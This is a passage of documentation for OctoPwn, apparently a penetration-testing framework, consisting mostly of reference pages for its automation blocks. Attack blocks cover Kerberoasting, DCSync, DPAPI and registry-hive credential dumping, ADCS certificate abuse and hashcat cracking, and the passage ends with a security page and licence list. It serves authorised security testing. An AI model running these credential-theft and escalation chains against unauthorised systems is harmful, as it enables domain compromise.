|------|-----------|------|----------|-------------| | `session` | input | `session_ssh` | no | SSH session reference | | `data` | input | `scan_result` | yes | Optional dynamic params — items merged into command kwargs per invocation | | `result` | output | `scan_result` | no | Command result items | | `session_out` | output | `session_ssh` | no | Pass-through: same session references from input | | `error` | output | `error` | no | Error dict if command fails | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `command` | `str` | | yes | SSH command to run | | `skip_done` | `bool` | false | no | Skip sessions already processed in a previous runloop iteration | --- ### `CMD_NETCAT` *Category: `COMMAND`* Runs any Netcat client command on an open session. Command list is sourced live from the server commandMap. Wire the optional data port to feed upstream results as dynamic command arguments (cross-product: each session × each data item). **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `session` | input | `session_netcat` | no | NETCAT session reference | | `data` | input | `scan_result` | yes | Optional dynamic params — items merged into command kwargs per invocation | | `result` | output | `scan_result` | no | Command result items | | `session_out` | output | `session_netcat` | no | Pass-through: same session references from input | | `error` | output | `error` | no | Error dict if command fails | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `command` | `str` | | yes | NETCAT command to run | | `skip_done` | `bool` | false | no | Skip sessions already processed in a previous runloop iteration | --- ### `CMD_RDP` *Category: `COMMAND`* Runs any RDP client command on an open session. Command list is sourced live from the server commandMap. Wire the optional data port to feed upstream results as dynamic command arguments (cross-product: each session × each data item). **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `session` | input | `session_rdp` | no | RDP session reference | | `data` | input | `scan_result` | yes | Optional dynamic params — items merged into command kwargs per invocation | | `result` | output | `scan_result` | no | Command result items | | `session_out` | output | `session_rdp` | no | Pass-through: same session references from input | | `error` | output | `error` | no | Error dict if command fails | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `command` | `str` | | yes | RDP command to run | | `skip_done` | `bool` | false | no | Skip sessions already processed in a previous runloop iteration | --- ### `CMD_DNS` *Category: `COMMAND`* Runs any DNS client command on an open session. Command list is sourced live from the server commandMap. Wire the optional data port to feed upstream results as dynamic command arguments (cross-product: each session × each data item). **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `session` | input | `session_dns` | no | DNS session reference | | `data` | input | `scan_result` | yes | Optional dynamic params — items merged into command kwargs per invocation | | `result` | output | `scan_result` | no | Command result items | | `session_out` | output | `session_dns` | no | Pass-through: same session references from input | | `error` | output | `error` | no | Error dict if command fails | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `command` | `str` | | yes | DNS command to run | | `skip_done` | `bool` | false | no | Skip sessions already processed in a previous runloop iteration | --- ### `CMD_DCEDRSUAPI` *Category: `COMMAND`* Runs any DCE-DRSUAPI client command on an open session. Command list is sourced live from the server commandMap. Wire the optional data port to feed upstream results as dynamic command arguments (cross-product: each session × each data item). **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `session` | input | `session_dcedrsuapi` | no | DCEDRSUAPI session reference | | `data` | input | `scan_result` | yes | Optional dynamic params — items merged into command kwargs per invocation | | `result` | output | `scan_result` | no | Command result items | | `session_out` | output | `session_dcedrsuapi` | no | Pass-through: same session references from input | | `error` | output | `error` | no | Error dict if command fails | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `command` | `str` | | yes | DCEDRSUAPI command to run | | `skip_done` | `bool` | false | no | Skip sessions already processed in a previous runloop iteration | --- ### `CMD_WINRM` *Category: `COMMAND`* Runs any WinRM client command on an open session. Command list is sourced live from the server commandMap. Wire the optional data port to feed upstream results as dynamic command arguments (cross-product: each session × each data item). **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `session` | input | `session_winrm` | no | WINRM session reference | | `data` | input | `scan_result` | yes | Optional dynamic params — items merged into command kwargs per invocation | | `result` | output | `scan_result` | no | Command result items | | `session_out` | output | `session_winrm` | no | Pass-through: same session references from input | | `error` | output | `error` | no | Error dict if command fails | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `command` | `str` | | yes | WINRM command to run | | `skip_done` | `bool` | false | no | Skip sessions already processed in a previous runloop iteration | --- ### `CMD_NFS3` *Category: `COMMAND`* Runs any NFS client command on an open session. Command list is sourced live from the server commandMap. Wire the optional data port to feed upstream results as dynamic command arguments (cross-product: each session × each data item). **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `session` | input | `session_nfs3` | no | NFS3 session reference | | `data` | input | `scan_result` | yes | Optional dynamic params — items merged into command kwargs per invocation | | `result` | output | `scan_result` | no | Command result items | | `session_out` | output | `session_nfs3` | no | Pass-through: same session references from input | | `error` | output | `error` | no | Error dict if command fails | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `command` | `str` | | yes | NFS3 command to run | | `skip_done` | `bool` | false | no | Skip sessions already processed in a previous runloop iteration | --- ### `CMD_SNMP` *Category: `COMMAND`* Runs any SNMP client command on an open session. Command list is sourced live from the server commandMap. Wire the optional data port to feed upstream results as dynamic command arguments (cross-product: each session × each data item). **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `session` | input | `session_snmp` | no | SNMP session reference | | `data` | input | `scan_result` | yes | Optional dynamic params — items merged into command kwargs per invocation | | `result` | output | `scan_result` | no | Command result items | | `session_out` | output | `session_snmp` | no | Pass-through: same session references from input | | `error` | output | `error` | no | Error dict if command fails | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `command` | `str` | | yes | SNMP command to run | | `skip_done` | `bool` | false | no | Skip sessions already processed in a previous runloop iteration | --- ### `CMD_NTP` *Category: `COMMAND`* Runs any NTP client command on an open session. Command list is sourced live from the server commandMap. Wire the optional data port to feed upstream results as dynamic command arguments (cross-product: each session × each data item). **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `session` | input | `session_ntp` | no | NTP session reference | | `data` | input | `scan_result` | yes | Optional dynamic params — items merged into command kwargs per invocation | | `result` | output | `scan_result` | no | Command result items | | `session_out` | output | `session_ntp` | no | Pass-through: same session references from input | | `error` | output | `error` | no | Error dict if command fails | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `command` | `str` | | yes | NTP command to run | | `skip_done` | `bool` | false | no | Skip sessions already processed in a previous runloop iteration | --- ### `CMD_MSSQL` *Category: `COMMAND`* Runs any MSSQL client command on an open session. Command list is sourced live from the server commandMap. Wire the optional data port to feed upstream results as dynamic command arguments (cross-product: each session × each data item). **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `session` | input | `session_mssql` | no | MSSQL session reference | | `data` | input | `scan_result` | yes | Optional dynamic params — items merged into command kwargs per invocation | | `result` | output | `scan_result` | no | Command result items | | `session_out` | output | `session_mssql` | no | Pass-through: same session references from input | | `error` | output | `error` | no | Error dict if command fails | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `command` | `str` | | yes | MSSQL command to run | | `skip_done` | `bool` | false | no | Skip sessions already processed in a previous runloop iteration | --- ### `CMD_FTP` *Category: `COMMAND`* Runs any FTP client command on an open session. Command list is sourced live from the server commandMap. Wire the optional data port to feed upstream results as dynamic command arguments (cross-product: each session × each data item). **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `session` | input | `session_ftp` | no | FTP session reference | | `data` | input | `scan_result` | yes | Optional dynamic params — items merged into command kwargs per invocation | | `result` | output | `scan_result` | no | Command result items | | `session_out` | output | `session_ftp` | no | Pass-through: same session references from input | | `error` | output | `error` | no | Error dict if command fails | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `command` | `str` | | yes | FTP command to run | | `skip_done` | `bool` | false | no | Skip sessions already processed in a previous runloop iteration | --- ### `CMD_WMI` *Category: `COMMAND`* Runs any WMI client command on an open session. Command list is sourced live from the server commandMap. Wire the optional data port to feed upstream results as dynamic command arguments (cross-product: each session × each data item). **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `session` | input | `session_wmi` | no | WMI session reference | | `data` | input | `scan_result` | yes | Optional dynamic params — items merged into command kwargs per invocation | | `result` | output | `scan_result` | no | Command result items | | `session_out` | output | `session_wmi` | no | Pass-through: same session references from input | | `error` | output | `error` | no | Error dict if command fails | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `command` | `str` | | yes | WMI command to run | | `skip_done` | `bool` | false | no | Skip sessions already processed in a previous runloop iteration | --- --- # [Automations / Block reference] Attacks Source: https://docs.octopwn.com/plugins/automations/flowgraph/blocks/attacks.html <!-- AUTO-GENERATED — DO NOT EDIT BY HAND. Regenerate via: python scripts/generate_flowgraph_reference.py Source of truth: octopwn/enterprise/flowgraph/registry.py. --> # Attacks Curated, opinionated wrappers around the most common post-auth attacks in `OCTOPWN_ATTACK_TABLE`. Most attack blocks accept either a `pair` input (paired target + credential dict from `ID_SPLITTER_PAIR`) or independent `target` and `credential` inputs that are cross-producted internally. Successful runs emit `scan_result` items and auto-store any discovered credentials in the OctoPwn credential store, where they become available to downstream `SOURCE_CREDENTIALS_NEW` blocks. --- **8 block type(s) in this category.** --- ### `CMD_KERBEROAST` *Category: `ATTACK`* Kerberoast and AS-REP Roast all service accounts reachable via Kerberos. Outputs hash items (ttype, user, domain, hashcatres) for each roastable account. Wire to HASHCAT_WORDLIST or HASHCAT_BRUTEFORCE to crack, or FILE_SINK to save. Filter by ttype to separate kerberoast_* from asreproast_* results. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `pair` | input | `scan_result` | yes | Paired {__tid, __cid} from ID_SPLITTER_PAIR — takes priority over target+credential ports | | `target` | input | `raw_target` | yes | Target host (DC or machine) — raw_target or scan_result | | `credential` | input | `credential` | yes | Compatible credential with __cid | | `result` | output | `scan_result` | no | Attack result items | | `error` | output | `error` | no | Error dict if attack fails | **Parameters** *No parameters.* **MITRE ATT&CK:** `T1558.003` --- ### `CMD_ASREPROAST` *Category: `ATTACK`* AS-REP Roast accounts that do not require pre-authentication. Runs the same attack as CMD_KERBEROAST — wire a FILTER(ttype contains asrep) downstream to extract only AS-REP hashes. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `pair` | input | `scan_result` | yes | Paired {__tid, __cid} from ID_SPLITTER_PAIR — takes priority over target+credential ports | | `target` | input | `raw_target` | yes | Target host (DC or machine) — raw_target or scan_result | | `credential` | input | `credential` | yes | Compatible credential with __cid | | `result` | output | `scan_result` | no | Attack result items | | `error` | output | `error` | no | Error dict if attack fails | **Parameters** *No parameters.* **MITRE ATT&CK:** `T1558.004` --- ### `CMD_DCSYNC` *Category: `ATTACK`* DCSync: replicate secrets from a domain controller via DRSUAPI. Requires Domain Admin, Replication, or DCSync delegation rights. Set storecreds=true to automatically add extracted NT hashes to the credential store. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `pair` | input | `scan_result` | yes | Paired {__tid, __cid} from ID_SPLITTER_PAIR — takes priority over target+credential ports | | `target` | input | `raw_target` | yes | Target host (DC or machine) — raw_target or scan_result | | `credential` | input | `credential` | yes | Compatible credential with __cid | | `result` | output | `scan_result` | no | Attack result items | | `error` | output | `error` | no | Error dict if attack fails | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `storecreds` | `bool` | true | no | Store extracted NT hashes as credentials | | `username` | `str` | "" | no | Target a specific user (empty = all users) | | `domain` | `str` | "" | no | Target a specific domain (empty = current) | **MITRE ATT&CK:** `T1003.006` --- ### `CMD_DPAPI` *Category: `ATTACK`* Dump DPAPI secrets (Chrome cookies, WiFi passwords, credential files) from a Windows host over SMB. Requires admin SMB access. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `pair` | input | `scan_result` | yes | Paired {__tid, __cid} from ID_SPLITTER_PAIR — takes priority over target+credential ports | | `target` | input | `raw_target` | yes | Target host (DC or machine) — raw_target or scan_result | | `credential` | input | `credential` | yes | Compatible credential with __cid | | `result` | output | `scan_result` | no | Attack result items | | `error` | output | `error` | no | Error dict if attack fails | **Parameters** *No parameters.* **MITRE ATT&CK:** `T1555.004` --- ### `CMD_REGDUMP` *Category: `ATTACK`* Dump SAM, SYSTEM, and SECURITY registry hives from a Windows host over SMB and extract local account NT hashes. Requires admin SMB access. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `pair` | input | `scan_result` | yes | Paired {__tid, __cid} from ID_SPLITTER_PAIR — takes priority over target+credential ports | | `target` | input | `raw_target` | yes | Target host (DC or machine) — raw_target or scan_result | | `credential` | input | `credential` | yes | Compatible credential with __cid | | `result` | output | `scan_result` | no | Attack result items | | `error` | output | `error` | no | Error dict if attack fails | **Parameters** *No parameters.* **MITRE ATT&CK:** `T1003.002` --- ### `CMD_ADCS_ESC1` *Category: `ATTACK`* Exploit ADCS ESC1: request a certificate as any domain user by supplying an alternative subject name (requires enrollee-supplies-subject template flag). Outputs a PFX credential that can be converted to an NT hash via CONVERT_PFX_TO_NT. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `pair` | input | `scan_result` | yes | Paired {__tid, __cid} from ID_SPLITTER_PAIR — takes priority over target+credential ports | | `target` | input | `raw_target` | yes | Target host (DC or machine) — raw_target or scan_result | | `credential` | input | `credential` | yes | Compatible credential with __cid | | `result` | output | `scan_result` | no | Attack result items | | `error` | output | `error` | no | Error dict if attack fails | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `dctarget` | `int` | | yes | Target ID of the domain controller | | `service` | `str` | | yes | ADCS service name (CA name) | | `template` | `str` | | yes | Certificate template name to exploit | | `targetusers` | `str` | "" | no | User(s) to impersonate (empty = domain admins) | **MITRE ATT&CK:** `T1649` --- ### `CMD_ADCS_ESC4` *Category: `ATTACK`* Exploit ADCS ESC4: modify a certificate template to enable ESC1, then exploit it. Requires write access to the template object in LDAP. Outputs a PFX credential convertible to NT hash via CONVERT_PFX_TO_NT. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `pair` | input | `scan_result` | yes | Paired {__tid, __cid} from ID_SPLITTER_PAIR — takes priority over target+credential ports | | `target` | input | `raw_target` | yes | Target host (DC or machine) — raw_target or scan_result | | `credential` | input | `credential` | yes | Compatible credential with __cid | | `result` | output | `scan_result` | no | Attack result items | | `error` | output | `error` | no | Error dict if attack fails | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `dctarget` | `int` | | yes | Target ID of the domain controller | | `service` | `str` | | yes | ADCS service name (CA name) | | `template` | `str` | | yes | Certificate template name to exploit | | `targetusers` | `str` | "" | no | User(s) to impersonate (empty = domain admins) | **MITRE ATT&CK:** `T1649` --- ### `CMD_BLOODHOUND` *Category: `ATTACK`* Run BloodHound data collection on an open LDAP session. Enumerates users, groups, computers, ACLs, sessions, and trusts, then writes a BloodHound-compatible ZIP to the workdir. Connect to an OPEN_SESSION_LDAP output. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `session` | input | `session_ldap` | no | Open LDAP session reference | | `result` | output | `scan_result` | no | Result dict with zipfile path | | `error` | output | `error` | no | Error dict if collection fails | **Parameters** *No parameters.* **MITRE ATT&CK:** `T1087.002` `T1069.002` `T1482` --- --- # [Automations / Block reference] Enumeration Source: https://docs.octopwn.com/plugins/automations/flowgraph/blocks/enumeration.html <!-- AUTO-GENERATED — DO NOT EDIT BY HAND. Regenerate via: python scripts/generate_flowgraph_reference.py Source of truth: octopwn/enterprise/flowgraph/registry.py. --> # Enumeration LDAP enumeration blocks consume an open `session_ldap` and stream individual user / computer / template / trust dicts to downstream blocks. The engine uses `StorageRef` so the memory footprint stays flat even on 100 000-user domains — items are pulled lazily from the on-disk SQLite store the LDAP client already maintains for audit trails. A typical chain is `ENUM_LDAP_COMPUTERS → TARGET_QUEUE` to feed discovered hostnames into the next runloop pass. --- **4 block type(s) in this category.** --- ### `ENUM_LDAP_USERS` *Category: `ENUMERATION`* Enumerate all domain users from an open LDAP session. Calls do_users() — audit trail preserved, results written to SQLite. The engine streams individual user dicts to downstream blocks via StorageRef so memory stays flat even for 100k+ user domains. Wire dataset to TARGET_QUEUE to add user DCs as scan targets, or to FILTER to scope by UAC / adminCount. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `session` | input | `session_ldap` | no | Open LDAP session reference | | `dataset` | output | `dataset_users` | no | Domain user dicts (streamed from SQLite) | | `error` | output | `error` | no | Error dict | **Parameters** *No parameters.* **Output schema — `dataset`** | Field | Type | Description | |-------|------|-------------| | `sAMAccountName` | `str` | User login name | | `objectSid` | `str` | User SID | | `userAccountControl` | `int` | UAC flags bitmask | | `adminCount` | `int` | adminCount attribute (1 = privileged) | | `servicePrincipalName` | `str` | SPN — non-null means kerberoastable | | `distinguishedName` | `str` | Full LDAP DN | | `__tid` | `int` | Session target ID | | `__cid` | `int` | Session credential ID | **MITRE ATT&CK:** `T1087.002` --- ### `ENUM_LDAP_COMPUTERS` *Category: `ENUMERATION`* Enumerate all domain computers from an open LDAP session. Calls do_machines() — audit trail preserved, results written to SQLite. The engine streams individual computer dicts to downstream blocks via StorageRef so memory stays flat for large domains. Wire dataset to TARGET_QUEUE to add hostnames as new scan targets. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `session` | input | `session_ldap` | no | Open LDAP session reference | | `dataset` | output | `dataset_computers` | no | Domain computer dicts (streamed from SQLite) | | `error` | output | `error` | no | Error dict | **Parameters** *No parameters.* **Output schema — `dataset`** | Field | Type | Description | |-------|------|-------------| | `sAMAccountName` | `str` | Computer account name (with $ suffix) | | `dNSHostName` | `str` | Fully qualified DNS name | | `objectSid` | `str` | Computer SID | | `operatingSystem` | `str` | Operating system string | | `distinguishedName` | `str` | Full LDAP DN | | `__tid` | `int` | Session target ID | | `__cid` | `int` | Session credential ID | **MITRE ATT&CK:** `T1018` --- ### `ENUM_LDAP_ADCS_TEMPLATES` *Category: `ENUMERATION`* Enumerate ADCS certificate templates from an open LDAP session. Resolves security descriptors and enrollment services. Use FILTER(key=name) to scope to a specific template, then wire to CMD_ADCS_ESC1 / CMD_ADCS_ESC4 params. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `session` | input | `session_ldap` | no | Open LDAP session reference | | `dataset` | output | `dataset_templates` | no | Certificate template dicts | | `error` | output | `error` | no | Error dict | **Parameters** *No parameters.* **Output schema — `dataset`** | Field | Type | Description | |-------|------|-------------| | `name` | `str` | Template name | | `displayName` | `str` | Template display name | | `enroll_services` | `str` | Enrollment service list (CA\\name) | | `__tid` | `int` | Session target ID | | `__cid` | `int` | Session credential ID | **MITRE ATT&CK:** `T1649` --- ### `ENUM_LDAP_TRUSTS` *Category: `ENUMERATION`* Enumerate domain trusts from an open LDAP session. Each trust domain is also added as a new Target in the OctoPwn target store so it can be used in subsequent blocks. Wire dataset to TARGET_QUEUE to scan trusted domains. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `session` | input | `session_ldap` | no | Open LDAP session reference | | `dataset` | output | `dataset_trusts` | no | Domain trust dicts | | `error` | output | `error` | no | Error dict | **Parameters** *No parameters.* **Output schema — `dataset`** | Field | Type | Description | |-------|------|-------------| | `name` | `str` | Trusted domain DNS name | | `trustType` | `int` | Trust type (1=downlevel, 2=uplevel, 3=MIT) | | `trustDirection` | `int` | Direction (1=inbound, 2=outbound, 3=bidirectional) | | `trustAttributes` | `int` | Trust attributes bitmask | | `tid` | `int` | OctoPwn target ID for the trusted domain | | `__tid` | `int` | Session target ID | | `__cid` | `int` | Session credential ID | **MITRE ATT&CK:** `T1482` --- --- # [Automations / Block reference] Transforms Source: https://docs.octopwn.com/plugins/automations/flowgraph/blocks/transforms.html <!-- AUTO-GENERATED — DO NOT EDIT BY HAND. Regenerate via: python scripts/generate_flowgraph_reference.py Source of truth: octopwn/enterprise/flowgraph/registry.py. --> # Transforms Transform blocks take credentials of one kind and turn them into credentials of another kind. `CONVERT_PFX_TO_NT` walks a PKINIT U2U exchange on an already-opened Kerberos session to extract an NT hash. The `HASHCAT_*` blocks spawn a visible HASHCAT utility session, auto-detect the hash type from the incoming credential, and emit plaintext-password credentials on success. --- **3 block type(s) in this category.** --- ### `CONVERT_PFX_TO_NT` *Category: `TRANSFORM`* Convert a PFXB64 certificate credential to an NT hash via PKINIT U2U. The Kerberos session must have been opened with OPEN_SESSION_KERBEROS using a PFXB64 credential (e.g. output of CMD_ADCS_ESC1). The extracted NT hash is added to the credential store and emitted as a credential dict that can flow to CREDENTIAL_QUEUE or attack blocks. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `session` | input | `session_kerberos` | no | Kerberos session opened with PFXB64 credential | | `result` | output | `credential` | no | New NT hash credential dict {__cid, username, ...} | | `error` | output | `error` | no | Error dict if extraction fails | **Parameters** *No parameters.* **MITRE ATT&CK:** `T1649` --- ### `HASHCAT_WORDLIST` *Category: `TRANSFORM`* Crack hash credentials using hashcat dictionary (wordlist) attack. Spawns a visible HASHCAT utility session, auto-detects hash type from the secret prefix or stype field, and emits cracked plaintext-password credential dicts. Requires hashcat installed on the host. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `credential` | input | `credential` | no | Hash credential dict (KERBEROAST, NTLM, etc.) | | `result` | output | `credential` | no | Cracked credential dicts with stype=password | | `error` | output | `error` | no | Error dict if cracking fails | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `hashcat` | `str` | `hashcat` | yes | Path to hashcat binary | | `wordlist` | `str` | `rockyou.txt` | yes | Path to wordlist file | | `rules` | `str` | "" | no | Path to rules file (optional) | | `maxruntime` | `int` | `5` | no | Max runtime in minutes per mode | **MITRE ATT&CK:** `T1110.002` --- ### `HASHCAT_BRUTEFORCE` *Category: `TRANSFORM`* Crack hash credentials using hashcat mask (bruteforce) attack. Spawns a visible HASHCAT utility session, auto-detects hash type from the secret prefix or stype field, and emits cracked plaintext-password credential dicts. Requires hashcat installed on the host. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `credential` | input | `credential` | no | Hash credential dict (KERBEROAST, NTLM, etc.) | | `result` | output | `credential` | no | Cracked credential dicts with stype=password | | `error` | output | `error` | no | Error dict if cracking fails | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `hashcat` | `str` | `hashcat` | yes | Path to hashcat binary | | `brutemask` | `str` | `?a?a?a?a?a?a?a` | yes | Hashcat mask pattern | | `brutemin` | `int` | `1` | no | Minimum password length | | `brutemax` | `int` | `7` | no | Maximum password length | | `maxruntime` | `int` | `5` | no | Max runtime in minutes per mode | **MITRE ATT&CK:** `T1110.001` --- --- # [Automations / Block reference] Script Source: https://docs.octopwn.com/plugins/automations/flowgraph/blocks/script.html <!-- AUTO-GENERATED — DO NOT EDIT BY HAND. Regenerate via: python scripts/generate_flowgraph_reference.py Source of truth: octopwn/enterprise/flowgraph/registry.py. --> # Script The `SCRIPT` block lets you drop a Python coroutine into the middle of a flowgraph for the cases where the existing filter / transform vocabulary is not enough. See the [script block guide](../script-block.md) for the `process(item, octopwn)` contract and a couple of worked examples. --- **1 block type(s) in this category.** --- ### `SCRIPT` *Category: `SCRIPT`* User-scriptable Python block. Double-click to edit code. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `in` | input | `any` | no | Input items — one passed to process() at a time | | `out` | output | `any` | no | Output items returned by process() | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `code` | `str` | `async def process(item, octopwn): """ Process a single input item. Args: item: One item from the 'in' port octopwn: The OctoPwn application context Returns: A single item, a list of items, or None to drop. """ # implement here return item ` | no | Python source code | | `input_type` | `str` | `any` | no | Semantic type of input items | | `output_type` | `str` | `any` | no | Semantic type of output items | --- --- # [Automations / Block reference] Composite & boundaries Source: https://docs.octopwn.com/plugins/automations/flowgraph/blocks/composite.html <!-- AUTO-GENERATED — DO NOT EDIT BY HAND. Regenerate via: python scripts/generate_flowgraph_reference.py Source of truth: octopwn/enterprise/flowgraph/registry.py. --> # Composites and boundaries Composite blocks let you turn a piece of a flowgraph into a reusable, named component with its own typed ports — think "save selection as block". The composite itself is an inner `Flowgraph` whose external interface is defined by the boundary nodes documented below. See the [composites guide](../composites.md) for the full authoring / saving / sharing workflow. --- **2 block type(s) in this category.** --- ### `BOUNDARY_INPUT` *Category: `BOUNDARY`* Composite boundary: parent composite input is injected here as a source into the inner graph. Set external_port to the name of the composite input. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `out` | output | `any` | no | Data leaving the boundary into the inner graph | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `external_port` | `str` | | yes | Name of the input port on the parent composite | | `type_name` | `str` | `any` | no | Wire type for the parent port — controls connection compatibility | | `output_port` | `str` | `out` | no | Inner output handle id (usually out) | --- ### `BOUNDARY_OUTPUT` *Category: `BOUNDARY`* Composite boundary: items wired here become outputs on the parent composite. Set external_port to the name of the composite output. **Ports** | Port | Direction | Type | Optional | Description | |------|-----------|------|----------|-------------| | `in` | input | `any` | no | Data entering from the inner graph | **Parameters** | Parameter | Type | Default | Required | Description | |-----------|------|---------|----------|-------------| | `external_port` | `str` | | yes | Name of the output port on the parent composite | | `type_name` | `str` | `any` | no | Wire type for the parent port | | `input_port` | `str` | `in` | no | Inner input handle id (usually in) | --- --- # [Misc] Security considerations Source: https://docs.octopwn.com/security.html # OctoPwn Security Documentation Welcome to OctoPwn's security documentation! We prioritize safeguarding your interactions and data and are dedicated to maintaining a transparent and robust security posture. ## Hosting Methods ### Data In Transit and Storage At OctoPwn, we employ HTTPS to secure data in transit, relying on SSL policies meticulously managed by Google Cloud Platform (GCP). Our data is stored in a public Google bucket, granting read access to everyone given that our framework is open. ### Responsibility for Unofficial Hosting When it comes to unofficial hosting, please be aware that security assurance lies solely with the users. We cannot extend our security guarantees to platforms beyond our management. ## Plugin System ### Credential Protection Mechanism Our plugin system features a credential protection mechanism, an additional protective layer over the SSL/TLS, designed to enhance backend security. This layer ensures stability and protection for our backend systems, and for the sake of maintaining its efficacy, further details are proprietary. ### Offline Version In offline variants, users are tasked with managing private keys/certificates issued by our backend system. Unfortunately, we cannot assure security in these scenarios. ## Browser Security ### Data Representation Layer At OctoPwn, data rendering employs a dual-layered approach to prevent Cross-Site Scripting (XSS): 1. **Terminal Data**: Using `xterm.js`, all input data is rendered in an HTML5 canvas to mitigate XSS vulnerabilities. 2. **Datatables**: Data rendered in datatables is purified cell-by-cell using the DOMPurify package to ensure a sanitized output. ## User Management ### Authentication and Access Control Our licensing system facilitates user authentication and access control, exclusive to plugins. Here, three distinct user authentication endpoints are employed: 1. **Registration**: Managed by Fusionauth. 2. **Certificate-based authentication**: Users automatically receive an RSA2048 bit certificate and private key, with the certificate signed by OctoPwn and verified via our `/verify` endpoint. 3. **Username and password authentication**: The licensing system releases user’s certificates and private keys encrypted by a transient AES256 key after user authentication. The details regarding cryptographic practices and data flow in these authentication modes are elaborately designed to maintain secure user interactions. ## Incident Response Our team is in the process of developing a structured incident response plan, which will be aimed at efficiently managing and mitigating any security incidents, ensuring transparent communication with affected parties, and implementing corrective actions. ## Data Handling ### Session File Management OctoPwn manages only the session file, stored securely in the browser's local storage. The entire session file employs a mandatory encryption layer that relies on a secret password which is either set by the user (recommended) or uses the user's internal user ID. Users are advised to securely manage and delete session data when operating on third-party machines. ## Security Measures ### Updates and Patches Updates and patches are delivered via our CDN, which users will automatically download upon refreshing the OctoPwn page, maintaining the same security guarantees as all other backend-served files. ### Logging and Monitoring Our backend systems are overseen by logging and monitoring mechanisms provided by Google Cloud, ensuring performance and security metrics are consistently scrutinized. ## General Remarks We strive to deliver as much information as possible regarding the security of our systems. While our commitment is towards maintaining transparency and safeguarding user interactions and data, please note that certain backend system details remain undisclosed to protect our intellectual property. ## Continuous Improvement Our security posture is under perpetual refinement. We continuously monitor, review, and enhance our security policies and practices to ensure alignment with emerging threats and technological advancements. ## External Audits and Certifications We are exploring external security audits and certifications and are in the phase of aligning our practices with recognized cybersecurity frameworks to further affirm our commitment to robust cybersecurity practices. ## Data Protection and Privacy Our practices are tailored to protect your data and uphold privacy, aligning with applicable data protection regulations. Details on our adherence to these regulatory environments will be shared in our upcoming data protection documentation. ## Conclusion Thank you for engaging with our security documentation. Your trust and security are paramount to us at OctoPwn, and we remain dedicated to safeguarding your digital interactions and data. For further inquiries, please [contact us](mailto:[email protected]). --- # [Misc] Licenses Source: https://docs.octopwn.com/licenses.html | Name | Version | License | Author | URL | |--------------------|----------|-----------------------------------------------------|----------------------------------------------------------------------------------------------|---------------------------------------------------------| | Pillow | 10.0.1 | Historical Permission Notice and Disclaimer (HPND) | Jeffrey A. Clark (Alex) | https://python-pillow.org | | SQLAlchemy | 2.0.22 | MIT License | Mike Bayer | https://www.sqlalchemy.org | | aardwolf | 0.2.8 | UNKNOWN | Tamas Jos | https://github.com/skelsec/aardwolf | | aesedb | 0.1.4 | UNKNOWN | Tamas Jos | https://github.com/skelsec/aesedb | | aiohttp | 3.8.6 | Apache Software License | UNKNOWN | https://github.com/aio-libs/aiohttp | | aiosignal | 1.3.1 | Apache Software License | UNKNOWN | https://github.com/aio-libs/aiosignal | | aiosmb | 0.4.8 | MIT License | Tamas Jos | https://github.com/skelsec/aiosmb 